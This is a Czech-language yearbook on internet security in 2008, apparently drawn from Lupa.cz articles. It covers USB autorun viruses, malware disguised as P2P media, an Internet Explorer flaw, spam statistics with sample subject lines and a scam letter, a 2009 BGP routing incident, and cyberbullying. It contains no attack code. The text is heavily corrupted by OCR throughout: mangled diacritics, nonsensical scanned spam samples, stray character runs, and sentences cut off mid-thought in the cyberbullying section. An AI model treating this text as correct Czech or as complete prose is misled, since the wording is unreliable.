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1 Uvod - Potfeba bezpeénosti zuzuje svobodu Internetu
Ondfej Bitto

Kradeze dat, navrat ke kofenim Skodlivého kédu a podvrzené soubory — to jsou nékteré z hlavnich bodu
bezpecnosti uplynulého roku. Pojdme se podivat, co pfinesl, a zaroveri také vycist, co naznacil o vyvoji
bezpecnosti do budoucna.

S ohledem na nové technologie Sifeni Skodlivého kédu Internetem a prostfednictvim rozliCnych webovych stranek
se muze zdat, Ze klasickému Skodlivému kédu pomalu zvoni hrana. Druha polovina roku 2008 vSak ukazala, Ze
se utocnici a tvrci vird radi vraceji ke kofenim, namisto klasickych disket ale jako dalSi prostfedek mimo
Internetu voli pfenosna USB zafizeni.

Viyrobci bezpe€nostniho softwaru zaznamenali narGst virt, které pro svou aktivaci vyuzivaji nacteni informaci pro
automatické spousténi, ve Windows tedy klasicky soubor autorun.inf. NejCastéji je tento soubor, ktery zvladne
spusténi libovolného programu hned po viozeni média, znam z CD nebo DVD, mlZe byt ale prakticky na
kterémkoliv. Jakmile je tedy virus jednou aktivovan (stazen a spustén z Internetu nebo jinou cestou), mize se po
pfipojeni libovolného USB zafizeni do néj nakopirovat. Po pfipojeni k jinému pocitadi se zavola odpovidajici
autorun.inf, a pokud neni jeho zpracovani v systému vyslovné zakazano, ma virus cestu otevienou.

Podle statistik z prub&hu roku je jasné, Ze Sifeni vir( pfes USB postupné zdarné doplni infiltraci z Internetu:
odhady hovofi o tom, ze kazdé paté az desaté propasovani viru ma na svédomi pravé pfipojeni USB. S tim, jak
ceny zafizeni klesaji, se da otekavat dal$i nartist. Radé hrozeb dokéze zabranit samotny antivir, v kurzu ale do
budoucna mohou byt také specializované aplikace, které se zaméfuji pravé na definovani bezpeénostnich politik
pro USB zafizeni.

Soubory z P2P siti jako zajic v pytli

Touha po programech, hudbé a dalSich datech zdarma Gtocnik(im a podvodnikim otevira fadu rozliénych cest,
jak pomoci Internetu Sifit Skodlivy kod nebo e-mailem rozesilat zpravy s odkazy na podvrzené stranky. V lofiském
roce se objevilo hned nékolik zajimavych ukazek Skodlivého kodu, které se ve vyménnych P2P sitich maskovaly
jako na prvni pohled béZné MP3 skladby nebo jiné multimedialni soubory, po stazeni a otevieni ale zaCaly pachat
svou nekalou ¢innost.

Nemuselo pfitom jit jen o klasicky Skodlivy kéd, ale také zneuZiti nové objevenych zranitelnosti v pfehravacich.
Typickym pfikladem posledné zminéného pfistupu mohou byt podvrzené streamy pro pfehravaé Apple
QuickTime, ktery se stal velice oblibenym teréem. Po otevfeni podvrZzeného souboru, ktery si uZivatel stahl z P2P
sité, se uzivateli zobrazilo okno s poZzadavkem staZeni licence, a pokud jej nasledoval, bylo dilo zkazy dokonano
propasovanim Skodlivého kédu. Ve vSech téchto a podobnych pfipadech se ale pouze potvrdilo, Ze Utonikim
nejde o niCeni nasich dat, ale spiSe ziskani pfistupu do poCitaCe a otevfeni prostoru pro dalsi zneuZiti.

V pfipadé P2P siti vSak alespon prozatim i nadale plati, ze jsou ,pouze” jednou zcest, jak Skodlivy kod
propasovat do uzivatelova pocitace, nestaly se pfimym prostfednikem klasickych Gtoku a prinikli do uzivatelova
poCitaCe. V dusledku je tak alesponi vyhoda v pomérné snadné obrané, kdy standardni virové nakaze dokaze
zabranit rezidentni ochrana antivirem, samoziejmé s pravidelnou aktualizaci jeho virovych signatur. Nékteré
antiviry navic zahrnuji pfimo komponentu pro detailni sledovani a kontrolu komunikace v ramci vyménnych siti.
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78 oprav od Microsoftu

Posledni sada pravidelnych zaplat spoleCnosti Microsoft vroce 2008 byla uvolnéna v poloviné prosince
a zakonila davkovani na Cisle 78 oprav. Samoziejmé ne vSechny zranitelnosti a jejich opravy vyZaduiji stejnou
pozornost a tak trochu symbolicky se jedna z nejvyznamnéjSich objevila az v prosinci. Kriticka zranitelnost
weboveého prohlizece Internet Explorer a jeji zneuziti na celé fadé pocitacl hybalo svétem bezpec€nosti.

Zprvu v8e vypadalo jako jedna z dalSich dér v prohlizeéi, nicméné po nékolika dnech doSlo k hromadnému
rozSifeni malwaru, ktery se na ni zaméfoval. Bylo tak jasné, ze Microsoft s opravou nevyéka do dalSi
kaZzdomési¢ni porce opravnych aktualizaci, ale vyda ji pfednostné. Na celé zranitelnosti a jejim zneuZiti je
zajimavé hlavné to, jak Siroky méla zabér a dopad — postihovala vSechny verze Internet Exploreru na vSech
verzich Windows, coz mluvi za vSe.

| kdyZ nékdy chyba Windows nebo prohliZzeCe Internet Explorer potka vice variant, jen malokdy se jedna o takto
velkou hrozbu. Odpovidajici kodlivy kod se vyskytoval predeviim na podvrzenych strankach v Cing, kdy se pi
jejich otevfeni aktivoval specialni ActiveX dopinék, ktery dale stahoval rozlisny Skodlivy kéd vSeho druhu.
Nezbyva nez doufat, Ze rok 2009 pfinese méné takto zasadnich zranitelnosti a jejich zneuziti. U obdobnych
zranitelnosti je hlavni problém v tom, Ze se opravdovy dopad projevi az po nékolika tydnech nebo mésicich, kdy
vyjde najevo, kolik stroju je stale jeSté zneuZitelnych a schopnych Sifit dal nakazu, i kdyZ je jiz oprava k dispozici.

Na spam jsme si zvykli

Samostatnou kapitolu kazdoroéné pfedstavuje spam, jelikoz nevyZzadana posta s neutuchajici pili pfeplfiuje nase
e-mailové schranky. Podle dlouhodobych globalnich statistik se mira korektni posty pohybuje do deseti procent
z celkového objemu vech zprav, a tak prakticky jen jeden z deseti odeslanych e-mailli patfi do vyzadanych. Rok
2008 byl i z tohoto pohledu zajimavy v tom, Ze se okolo spamového déni nekonaly velké kauzy nebo diskuze.

Jednim z divodu miZe byt uz jakasi apatie vici spamu, kdy Ize obzvlasté v neanglicky mluvicich zemich (a tedy
i Cesku) spam ve schrance rychle rozpoznat a viibec se mu nevénovat. Diky tomu také zistavaji liché pokusy
0 zahrnuti nejrizngjSich podvodnych odkaz( do téchto zprav, jelikoz se uz jen malokdo nachyta. Spam tak
alespon z pohledu koncovych uzivatell neni tim, ¢im kdysi, jednoduSe uz i zpravy, které nezachyti automaticky
filtr a spadnou do korektni poSty, ignoruji rychlym rozpoznanim.

Pokud Utocnici a podvodnici budou chtit nahazovat své navnady, musi sahnout po sofistikovanéjSich cestach
osloveni koncovych uzivatell, na prosty hypertextovy odkaz a podvrzené URL v téle HTML zpravy jim jen tak
nékdo neskoCi. V roce 2009 i dalSich letech bude zajimavé sledovat, jakymi novymi cestami se nas postupné
pokusi obalamutit a které postupy kromé e-mailu jako nejrozsifenéjsiho komunikacniho kanalu vyzkousi.

Soukromi a jeho ochrana (snad) v zajmu uzivatel(

Jednim z nejozehavéjSich témat roku 2008 se dle oCekavani stalo soukromi a ochrana citlivych Udaji na
Internetu. Utognici stale zkouSeli své klasické vabnigky na vylakani dileZitych hesel, pfihlasovacich dajl
k online bankingu nebo ziskani ¢isel kreditnich karet, zaméfili se vSak také na kradeze kompletnich profill
a databazi z komunitnich a socialnich webd.

Ceského uzivatele Utoky na MySpace.com tolik trapit nemusi, pfeci jen se u nas nejedna o tolik rozsifenou
webovou sluzbu (v pracovnim prostfedi v CR viadne spide LinkedIn). Kdyz z ni ale pogatkem roku v jedniékach
a nulach podloudné odteklo zhruba 17 GB fotek, dostali vSichni varovani: profilovat se na webu je fajn a moderni,
ale svéfujeme své Casto Cisté soukromé informace neznamo kam.
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Nejhor§i na pokusech o hromadné kradeze citlivych dat a profili je ale fakt, ze se jim nelze branit
automatizovanou cestou. Proti virim Ize nasadit antivir, spamu z drtivé vétSiny zabrani antispam, jak ale donutit

uzivatele, aby o sobé neprozrazovali pfili§ mnoho? Servery s potencialné citlivymi informacemi se pak
samoziejmé musi technicky branit i proti pokusim o prinik a klasickym sitovym Gtokdm.

Nékdy je az s podivem, kolik toho jsou uzivatelé o sob& ochotni prozradit v ramci nékteré socialni a komunitni
sité, respektive které fotky nebo dalSi dokumenty vystavit a nespravné jim pfifadit pfistupova prava. A i kdyz bude
v8e na prvni pohled skvéle zabezpeceno a riziko priniku minimalizovano, nikdy nelze vyloucit kradeZe a zneuziti
profild do budoucna, napfiklad pfi priiniku do daného serveru nebo propaSovani specialniho Skodlivého kodu.

Jak tvlrci bezpeénostnich aplikaci, tak pfimo vyvojafi webovych prohlize¢l se vice zaméfili a nadale zaméfovat
budou na ochranu soukromi. Novy Firefox, osma verze Internet Exploreru, Google Chrome — ve vSech téchto
prohlize¢ich najdeme specialni privatni rezim, v némz se béhem surfovani neuklada nic do historie. Na prvni
pohled to mlZe vypadat, Ze jde o obranu pfed odhalenim navstivenych pornostranek, nicméné pokud se napad
uchyti, tfeba se dokame i kompletni anonymizace, jakou dnes nabizi napfiklad Torpark.

Odpovédnost na uzivatelich, nebo statu?

V pribéhu roku 2008 se postupné diskutovalo o omezovani prfistupu k Internetu, lépe fedeno k potenciainé
nevhodnému obsahu. At uz se jednalo o tuzemskou prvni vla$tovku nebo neustale propiranou cenzuru v Cing,
jde o jasnou ukazku sméru vyvoje webu a jeho sluzeb - volnosti a naprosto otevieného online svétu si nebudeme
uzivat donekone¢na, dojde k postupné regulaci. Mize jit o ochranu déti pfed pornem, drogami a nasilim,
v kterémzto pfipadé se pfedpoklada moznost vypnuti takovéhoto filtru, ale také globalni filtrovani ze strany viady,
potazmo ISP.

Pojitkem mezi minulosti v podobé roku 2008 a regulovanou budoucnosti miize byt napfiklad omezeni pfistupu
k ur€itym strankdm v Australii. Tamni vlada se timto zplsobem rozhodla fesit pfipadné problémy a mravni
ohroZeni mladeze, resp. omezit nebezpeti, které ¢iha na uZivatele. Jedna se o blokaci ,natvrdo®, béZny uZivatel
se k zavadnému obsahu opravdu jen tak snadno nedostane. Internet jsme si kdysi malovali bez hranic, nyni mu
davame postupné stale uz8i mantinely.

Je otazkou, kam se tyto kroky dale budou ubirat — za€inajici uZivatelé sice mohou byt vodéni za rucicku jen po
pfedem vyznagenych webovych cestiCkéch, l1épe by v3ak bylo vsadit na osvétu a pfeneseni odpovédnosti na
jejich bedra. Abychom pak totiz namisto velkého blacklistu opravdu nemuseli sepsat téch par povolenych webd
do whitelistu a dostat Internet tam, kam by nikdy nemél dospét.
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2 Vybér toho nejzajimavéjsiho o Internetové bezpeénosti ze serveru Lupa.cz
v roce 2008

2.1 Maly ¢esky ISP zpusobil svétovy kolaps

Zbynék Pospichal — 19. 2. 2009

Pondélini odpoledne jako kazdé jiné, to bylo dtery 16. unora 2009. Farmar obdélaval sva pole, miékar délal
rozvazku a jeden maly tuzemsky ISP konfiguroval svij smérovac. Nikdo netuSil, Ze za par okamZiki nastane
situace, ktera se zapise do déjin svétového Internetu.

K &emu doslo (lidskymi slovy): jeden regionalni Cesky poskytovatel Internetu Spatné nakonfiguroval routing, coz
se stalo Spatnym napsanim jednoho Cisla. To znamenalo, Ze jako optimélni se do Internetu propagovala
nesmysiné dlouha trasa a to poCtem az 100 000 pozadavku za vtefinu. To pro fadu starSich routerd znamenalo
néco jako pfeteCeni bufferu, zafizeni nebyla schopna odbavovat normaini provoz a chyba se $ifila dale. Chyba
se projevila v Fadé regiond, prakticky ale ne v Cesku. ISP chybu rychle odstranil a b&hem hodiny oZivly véechny
postizené sité. Jedno memento ale zUstalo: jak mize mala chybicka u regionainiho poskytovatele Internetu
zkolabovat provoz na poloving Internetu? Inu, mize.

Maly ISP z jihovychodni Moravy konfiguroval propoj ke svému druhému (zaloZnimu) poskytovateli tranzitni
konektivity. Kazda sit je v Internetu reprezentovana svym Cislem autonomniho systému, coz byvala jen
dvoubajtova, dnes uz to vSak mulze byt i Etyibajtova hodnota unikatni pro kazdou sit, kterou dale pouziva
smérovaci protokol BGP a to v zasadé jen ke dvéma vécem - k nalezeni nejvyhodnéjsi cesty a k zamezeni
vzniku smérovacich smycek. Cely princip funguje tak, Zze pro kazdy prefix (samostatné smérovany blok IP adres)
existuje ve smérovacich tabulkach samostatna polozka, obsahujici fetézec se seznamem autonomnich systémda,
pfes které k danému prefixu vede cesta (AS-path). Nyni uvedu pfiklad, jak takové cesty mohou vypadat, vybira
se obvykle podle nejkratSi AS-path (to nemusi byt vzdy pravidlem, Ize router jistym mnoZstvim aplikovaného
nasili pfesvédcit, ze mize pouzit i jinou cestu, ale to neni pro dal$i text tohoto ¢lanku podstatné):

Number of BGP Routes matching display condition : 5
Status codes: s suppressed, d damped, h history, * valid, > best, i internal
Origin codes: i - IGP, e - EGP, ? - incomplete

Network Next Hop Metric LocPrf Weight Path
*>169.232.0.0/16 137.164.130.61 1 100 0 11164 2152 52 i
*1169.232.0.0/16 137.164.130.57 20 100 0 11164 2152 52 [
*1169.232.0.0/16 137.164.130.53 20 100 O 11164 2152 52 [
*169.232.0.0/116 213.248.98.93 48 70 0 1299 3356 2152 2152 52 i
*169.232.0.0116 64.214.121.169 49 70 0 3549 209 2152 2152 52 i

Last update to IP routing table: 5d13h42m4s, 1 path(s) installed:

V druhém sloupci zleva vidime prefix, zcela vpravo pak AS-path, nejlep$i vybrana cesta je oznaCena znakem >
zcela vlevo hned za hvézdi¢kou. V poslednich dvou Fadcich pak vidime, ze se nam Cislo AS 2152 opakuije. Co to
znamena? Jde o tzv. prepend, tedy umélou penalizaci (znevyhodnéni) dané cesty. A pravé o prepend jde v tomto
pfibéhu predevsim.

Onen ISP chtél sv0j druhy upstream pravé takto znevyhodnit. To je celkem bézna zaleZitost, kterou vidite
i v pfedchozim pfikladu. Problém vSak byl v tom, Ze jako u vSeho, existuje néjaky limit pro délku AS-path a za ten
se vSeobecné povazuje 255 poloZek. To neni Zadny zasadni limit, protoZe jen velmi méalo cest v sou¢asném
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Internetu obsahuje vice Cisel autonomnich systému nez 6, a AS-path s vice nez 15 polozkami je naprostou
raritou (a ne, v tomto pfipadé se neodekava, Ze by se na tento limit do budoucna narazelo jako na pfekazku
dalSiho rozvoje, protoZe obecny trend je, Ze se primérna délka AS-path v celosvétové smérovaci tabulce
postupem Casu mirné zkracuije).

Co se tedy stalo? Ano, spravné, dotyCny ISP svou cestu skute¢né znevyhodnil, a to pomérné zasadnim
zplsobem. Neni zcela jasné, jakym konkrétnim zptsobem toho dosahl, avSak proved! jsem viastni Setfeni a na
jeho zakladé zjistil, Ze pouzitou platformou, na které k uvedenému problému doslo, je pravdépodobné MikroTik
RouterBoard, tedy zafizeni primarné urené pro ponékud jiné nasazeni nez je ASBR (Autonomous System
Border Router) a o implementaci BGP na této platformé se vypravéji legendy (ano, zakladni véci tam funguiji
pomérné spolehlivé, vim). Jisty nejmenovany konkurenéni vyrobce, jehoz boxy jsou pro podobné nasazeni piece
jen 0 néco malo vhodnéjsi, podporuje syntaxi typu "set as-path prepend last-as N", kde N je poCet, kolikrat se
posledni AS v cesté zopakuje a mlze nabyvat hodnoty 1 - 10. Naprosto staci, aby vyrobce néjaké minoritni
smérovaci platformy kontrolu této hodnoty do svého zafizeni nezadal, zmatenad obsluha tam namisto poétu,
kolikrat se ma Cislo AS zopakovat, omylem napiSe ¢islo svého autonomniho systému a problém je, pokud AS
doty¢ného ISP zrovna nemé néjaké prominentni nizké ¢islo, na svété.

Paradoxné problém nepostihl kazdého - v CR nebyl tento problém téméF ani zaznamenan, v CR dochazi
u operatorti k celkem pravidelnym upgradim hardware i software a zapomenuté infrastruktury neni mnoho.
Podobna situace plati u velkych operatori i jinde ve svété, avSak na regionalnich a mistnich sitich v mnoha
zemich svéta, zejména tam, kde se pouZzivaji pomérné staré fady operacnich systému pro smérovace, problém
nastal. Kupfikladu star$i verze Cisco 10S reagovaly tak, ze po pfijeti takové cesty rozpojily BGP relaci, po které
takova cesta pfisla. To neni zasadni problém, relace se po chvili znovu spoji, av8ak pokud se hned zase rozpoji
kvuli pfijeti vadné AS-path, uz to zasadni problém je. Jevu, kdy se nam relace stale dokola spojuje a rozpojuje,
fikame flap - ano, existuji nastroje, jak se s nim vyrovnat, avSak pokud doty¢né siti neflapuje jeden upstream, ale
vSechny (coz byla pravé tato situace), nejsou nam tyto nastroje nic platné a nastava problém - dotyCny operator
je bez tranzitni konektivity.

Podrobnégji analyzu, jako obvykle, udélal Renesys, disponujici néstroji pro hloubkovou analyzu stavu
smérovacich tabulek. Uvedli také mapy nejh(fe postizenych zemi, vyznamné postizena byla témér cela zapadni
Evropa (kde nejh(ife dopadla Belgie a Spanélsko), z novych ¢lent EU pak chyba dopadla velmi tvrdé na Loty$sko
(paradoxné domovska zemé zafizeni MikroTik RouterBoard) a do Pakistanu dorazila tvrda odplata za Unos
Youtube, kazdopadné postizeno bylo i mnoho siti v takovych zemich, jako jsou USA, Cina nebo Egypt; mezi
zemé, které byly naopak postizeny malo nebo téméf viibec, patfi kromé CR je$t& Madarsko, Chorvatsko, Srbsko,
Litva, Turecko, Indie, JAR, Chile nebo Argentina. Cely problém pak trval zhruba hodinu, nez doty¢ného ISP jeho
poskytovatel zalozni tranzitni konektivity docasné odpojil.

Neni to v3ak prvni pfipad, kdy se néco podobného stalo, je v8ak prvni, ktery mél az takhle tvrdé nasledky.
Pfedchozi podobné pfipady zplsobily ISP z rGznych zemi (BiH, Bulharsko, Indonesie, Polsko, USA), av§ak délka
jejich AS-path se hodnoté 255 vzdy pouze bliZila, nikdy jej vSak nepfekro€ila... To se podafilo az tento tyden
operatorovi z malého méstecka nedaleko hranic se Slovenskem.

Cely &lanek i s diskusi je mozné najit na http://www.lupa.cz/clanky/maly-cesky-isp-zpusobil-svetovy-kolaps/.
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2.2 Naprostou vétSinu odeslanych e-maili tvofi spam

Jan Handl - 17. 2. 2009

Podle nékterych zdroju je to az 96 procent. Jenom Ctyii ze sta e-mailll tedy nejsou spam. Odkud dtoci spamefi
a jaké jsou jejich triky? Vyuzivaji samoziejmé i Valentyn nebo parazituji na jménu Baracka Obamy.

Z mésicni zpravy o spamu spolecnosti Symantec skute¢né kromé jiného vyplyva, Ze 96 e-mailll ze sta je spam a
pouhé Ctyfi e-maily jsou skute¢né zpravy ,od Elovéka néjakému zndmému Clovéku®. Tato statistika je vice nez
alarmujici a pokud se spam bude rozmahat i nadale, bude dost t8Zké najit v zaplavé nevyzadané posty
opravdovy e-mail, tedy zpravu odeslanou elektronickou postou konkrétnimu pfijemci s b&znym ucelem.

Spamu se asi jen tak nezbavime, jeho objem i podil na odeslanych e-mailech stéle roste, v sou¢asné dobé je to
podle Symantecu okolo devadesati procent. Zajimavy je pohled na rozdéleni spamu podle kategorii, tedy podle
toho, co spam propaguje. Na prvnim misté jsou tématem spamu nejriznéj$i produkty (23 %), nésleduje zdravi
(20 %) a Internet (19 %).
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Pokud se podivame na spam podle zemé piivodu, vedou Spojené staty americké (23 %), Brazilie (10 %) a Cina
(7 %). V prvni pétce jsou dale Indie a Jizni Korea. Rusko skonCilo tentokrat v seznamu nejvétSich plvodcu
spamu az na $estém misté. Do ,top ten“ se dostaly také Argentina a Kolumbie.

V sobotu oslavil svatek Valentyn, tento den provazeji vice nez ostatni netradiéni dny tématické spamy. Uto&i na
pozornost uzivatelt docela rafinované, top 20 pfedmétu téchto e-maill najdete nize:

1 - Increase your length, the best valentine’s gift

2 - Show off your length for valentine’s

3 - Get it before Valentine’s day and watch her smile

4 - You have been invited to partake in a shopping spree with [Removed] This Month for Valentines!
5 - Happy Early Valentines Day, You have been selected to go on a $1000 Shopping spree to [Removed]
6 - The Best Valentines Day Present Ever...

7 - Your Valentines Day is about to get a lot better

8 - Enjoy your Valentines Day with a Grand Cash from us =)

9 - [Removed] invites you to take a $1000 shopping spree for Valentines Day

10 - Great watches for your Valentine

11 - Redeem Your Valentines Day Gift!

12 - Buy a pair of watches for Valentine’s Day
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13 - Free Shipping! Plus, Save on Valentine’s Day Gifts

14 - Make your Valentine happy with the perfect timepiece

15 - Show the love. Give [Removed] this Valentine’s Day.

16 - Give a timepiece to your Valentine to keep track of time together

17 - Valentines Day Approaching... Don’t Miss Out on Our $1 Jewelry Auctions
18 - Lose excess weight by valentine’s day

19 - An Erotic Valentines Gift

20 - Need A Valentines Gift?

Tématem spamu poslednich mésicl byly i americké prezidentské volby. Nyni jiz politika spam témér opustila, ale
od fijna roku 2007 do listopadu 2008 byly volby zajimavé nejen pro autory spamu. Adresati byli lakani na
zajimava volebni videa, ve skuteCnosti $lo 0 malware. Spam z prezidentskych voleb v USA hodné tézil, $lo
o dalsi téma, které pfijemce e-mailli zajimalo a bylo aktualni o dost déle, nez zminény Valentyn. Pfedméty
e-mailt byly rafinované, napfiklad “Our President - In His Own Words”, “Listen to President Obama’s Audiobook”,
“President Barack Obama Inaugural Dollar” nebo “Limited edition Obama coin now available to you”. Kdo
OBAMU za svého a dokonale vyuzival popularity jeho jména. Napfiklad “Even Obama uses this”, “Obama’s
private video” a “Obama caught hot”. K témto textim byly pfidany odkazy do e-shopU s I€ky.

V dobé okolo inaugurace Baracka Obamy spameifi své produkty nabizeli schované za odkazy v e-mailech
s faleSnymi informacemi o tom, Ze Barack Obama se vzdal své funkce a podobné. Nékteré ze spaml byly dost
profesionalné zpracovany a pfipominaly layout volebnich stranek.

Subjece: Tou mees] ook at this
O n=w president kas gon=

Towrs truly,

Subjece: Hreaking news
Barack Ofbama refused to ke the previdens of the Ulnsted. States of Smencs

Yoo Smcerely:

Suheet: Breakeg s
There i po prresasie=s in the DA smpmons

Wich Joead pupueds,

Sulject; What m goigg oo with s conminyT

(e Ewn poms

Soubory, které si napaleni pfiznivci Obamy stahovali, mély nazvy usa.exe, obamanew.exe, pdf.exe,
statement.exe, barackblog.exe nebo barackspeech.exe. Ve skuteCnosti Slo o zaSkodnicky soubor W32.Waledac,

vivs

Spam pochéazejici z Ruska jde na véc trochu jinak. Z celosvétového kolace tvofi nyni spam z Ruska jenom 4 %,
ale vyuZiva netradiéni metody. Ve spamech jde o to, aby se pfijemce ozval provozovateli sluZzeb nebo majiteli
produktu jakkoliv, tfeba i telefonicky. Proto jsou soudasti textd ruskych e-maill i telefonni Cisla, rozdélena
netradicnimi znaky kvUli ztizeni detekce. Ruské spamy nabizeji tfeba i sluzby podiahafu.
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V Ciné je pry mimo Macao zakazan hazard, coz nahrava mistnim spamer(im. Macao za jejich pomoci oslovuje
Cifiany nevyzadanou elektronickou postou a samozfejmé daleko vétsi ¢ast spamu nabizi hazard online. Cinsky
spam nabizejici tfeba sluzby online kasina je prakticky totozny s anglickym. UZivatel si musi nahrat a spustit
aplikaci, pak dostane vstupni bonus a mize zagit hrat. Cinské spamy se ani nesnazi tvafit, jako by je odeslal
¢lovék, jméno a e-mailova adresa odesilatele se sklada z nahodné vybranych znaku.

Zapomenuty nejsou ani popularni ,nigerijské dopisy“, které z duvérfivcl lakaji pod néjakou zaminkou urcitou sumu
penéz s pfislibem jejich znasobeni. Tento trik pfesahl hranice Afriky a pod dopisem jsou podepsani tfeba i ,Cinsti
manazefi bank". Kritéria ,nigerijskych dopisu“ splfiovaly v lednu asi 3 procenta veskerého spamu.

From: W Philp Tag
Date:

Tax

Suhject:  anena o amaps

Drear Friend [ am M Fhilip Tang Execuotrre Directors and Operations
Manager of Bank mtematonal Ningbo Chins ] have a bmmness proposal of
USE32, 500,000 00 for you from ory bask Should pon be mbereated please
send vour Full nmmes, accupabon, prnate phane mmber, currest residenial
addross Fnnlhy after that [ shaoll prosads voo vt more detsslis Regoods, Philp

Tang

Cely Clanek i s diskusi je mozné najit na http://www.lupa.cz/clanky/naprostou-vetsinu-odeslanych-e-mailu-tvori-
spam/

2.3 SID 2009: do boje proti kybernetické Sikané!

Jifi Peterka — 13. 2. 2009

Sikané. A to jak na na$i narodni urovni, tak i v celé Unii. Hodné se miuvilo také o konkrétnich Cislech, mapujicich
rozsah riznych ohroZeni. Neni ale ¢as ponékud zrevidovat nase nazory na to, kde je hlavni pficina problémd,
v ¢em spocivaji a kde se berou?

Jak jsem jiz avizoval v pondélnim Clanku zde na Lupég, utery 10. Unora bylo v pofadi jiz Sestym ,Dnem

vivs

vystavovani v online svété. Ci jak prezentovat tu & onu aktivitu, zamér nebo projekt, ktery se celé oblasti tyka.

V neposledni fadé byl tento den pfilezitosti k zamySleni nad tim, jak ,velky“ a vazny je cely problém a kterym
smérem se vydat, chceme-li s nim néco délat. Treba jen v roviné volby mezi tim, zda je détem a mladym lidem
vhodné spiSe pomahat chovat se odpovédnéji, nebo zda je lepSi se snazit (napfiklad skrze technicka Ci
legislativni opatfeni) dosahnout takového stavu, aby jim Zadna nebezpeci nehrozila.

vvvvvvvv

KdyZ uz jsem ale u obecnéjSich vah: mozna by bylo na Case trochu pfehodnotit vymezeni celého problému,
proti kterému se zde bojuje.
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Vv

i mobilni technologie, se svymi SMSkami, MMSkami, videem to¢enym na mobilni telefony, mobilnimi portaly atd.
jsou prostiedim, kde se lidé setkavaji - a mohou se v(ci sobé chovat jak patelsky, tak si navzajem ublizovat.
mobilni technologie a jimi vytvafené prostiedi? Zvlasté kdyz toto prostfedi s Internetem tak hezky konverguje
(splyva), Ze je mezi sebou Casem ani nerozliSime?

Jinak to totiz miZe vyznivat také tak, Ze jeden svét je ,zIy* a piny nastrah a nebezpeci, zatimco ten druhy je
veelku bezpecny. Pritom hodni i zli lidé jsou v obou, protoze to jsou to stale stejni lidé. Jen mozna jeSté nemaji
v obou prostfedich UpIné stejné technické moznosti. Ale pravé to se velmi rychle méni.

vivs

mobilni operatofi. Ci jiny aspekt: v CR je jednou z hlavnich akci letodniho Safer Internetu dal$i roénik soutéze
MobilStory. Ta spociva v nataéeni pfibéhu na mobilni telefon, letos s tématem kamaradstvi jako protipol
kybernetické Sikany*.

A neni pravé moznost nataet na video v mobilu jednim z faktorl, které otevfely dvefe novym formam
,nevhodného® lidského chovani? Nezapominejme, ze to nejsou technologie, které se chovaiji zle, nenavistné i
jinak ,08klivé" — ale Ze jsme to my lidé, ktefi se uréitym zptsobem chovame.

Kdo nejvice ohrozuje déti?

DalSi predstava, ktera by si asi zaslouzila ur€itou korekci, je pfedstava ze nejvétSimi strijci nastrah a nebezpeci
vuci détem jsou dospéli. Tak to ostatné prezentuje i vétSina kampani, které se na toto nebezpeéi snazi
poukazovat a varovat pfed nim: vétSinou ukazuji néjakého postarSiho zvrhlika, ktery jen tak mimochodem
dokonale zvlada moderni technologie, zatimco jeho potencialni obét je velmi mladé a s technologiemi to zase az
tak moc neumi — kdyZ nevi, jak se branit a moc nedocefiuje ani to, ze za neznamou virtualni identitou se muze
skryvat skute¢né kdokoli.

Nebyva to ale v praxi spiSe naopak? Tedy alespon to zvladani technologii: Ze mladi je umi pouzivat Iépe nez ti
starsi?

Aby mi ale bylo spravné rozuméno: nechci zde zpochybriovat existenci (dospélych) pedofill ani bagatelizovat
jejich pusobeni v online svété (stejné jako bohuzel existuji a plsobi i v ,kamenném” svété). Ani hrozbu, kterou
pfedstavuji. Jde mi o etnost, resp. miru hrozeb vici détem a mladistvym v online svété. | statistiky uZ ukazuii, ze
vétsina jich pfichazi spise od vrstevnik(.

vivs

motivem je boj proti kybernetické Sikané. A to je (v daném kontextu, tj. u mladych lidi) pfedevsim zaleZitost vztahu
mezi vrstevniky. Ostatné, kdyZ se podivate na video, které ma byt hlavnim symbolem nynéjSi celounijni kampané
proti kybernetické Sikané, nenajdete tam Z&dného obstarozniho Uchyla: proti mladé divce v roli obéti Sikany stoji
(resp. sedi u poCitaCe) jeji vrstevnik.

Zminéné video nejspise brzy uvidite v riznych médiich, v ramci medialnich kampani. Jiz dnes se na néj mlzete
podivat napfiklad na webu Eeského Safer Internetu, na jeho strankach vénovanych boji proti Sikané. A pokud se
o problematiku Sikany zajimate podrobnéji, ¢i se pfimo tyka vas ¢i nékoho z vaseho okoli, mizete vyuZit i nové
zprovoznéné stranky, zaméfené na boj proti ni: jak formou osvéty, tak i formou testu &i kurzu boje proti Sikang, i
cestou snah o minimalizaci Sikany.
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Co rikaji Cisla a studie?

K popisované problematice samoziejmé existuje také fada konkrétnich Cisel. | v souvislosti s uternim Dnem
u statistik o poctu uzivatell Internetu: pokud nefikaji dostate¢né pfesné, co a jak vlastné méfi, pak jsou ponékud
vytrzena z kontextu.

Tieba i zde na Lupé vysla tiskova zprava Microsoftu referujici o vysledcich prizkumu, ktery si Microsoft nechal
udélat v nékterych zemich EU od agentury Cross Tab. Dochazi k zavéru, ze 29 % mladistvych se stalo obéti
online obtéZovani. Jenze kdyz se nefekne, co pfesné si pod onim obtéZovanim pfedstavit (jak pfesné znéla
otazka, na kterou respondenti odpovidali), pak vlastné ani nevime, o éem uvedené Cislo vypovida. Kazdého
mUze obtéZovat néco jiného (i v jiné mife &i intenzité). Tfeba jen pouhé dvoreni od vrstevnika opaéného pohlavi.

Opét ale nechci bagatelizovat realny problém: rozhodné netvrdim, Ze Zadna kyberneticka Sikana neexistuje a ze
s ni neni tfeba bojovat. Jen bych asi nevidél véci zase az tak jednobarevné - a dopfal sluchu také vysledkim
prizkum( a studii, které nevidi véci az tak Cerné. Tieba jako tato studie, provedena v lofiském roce na
Harvardské univerzité v USA.

Hlavni vysledky této studie (kterych si vSimnul tfeba i prestizni ¢asopis Time) totiz naznaCuji, Ze Internet a celé
online prostfedi nemusi byt az tak nebezpecné, jak si dnes myslime. Studie sice konstatuje, ze je toho jesté
hodné, co o online svété a chovani nejmladsi generace v ném nevime. Ale Ze kazda generace si sama formuje
urcity zivotni styl, podle svych vlastnich preferenci, a nejinak je tomu i tady. A jestlize v ném neni vSechno Uplné
idealni, pak jsou to hlavné neSvary, zlozvyky a Spatnosti kamenného svéta, které se promitaji do online svéta,
nez aby byly generovany pravé timto prostredim.

Studie si v8ima napfiklad i toho, Zze v online svété (na Internetu) jsou nejvice ohrozené praveé ty déti, které maji
tendenci angazovat se v riznych podezielych az nebezpeénych aktivitach i v kamenném svété. A Ze
psychosocialni atmosféra a rodinné prostredi kolem konkrétnich mladistvych mnohem vice preduréuje rizika,
kterym budou vystaveni, nez pouziti néjakého specifického média ¢&i technologie.

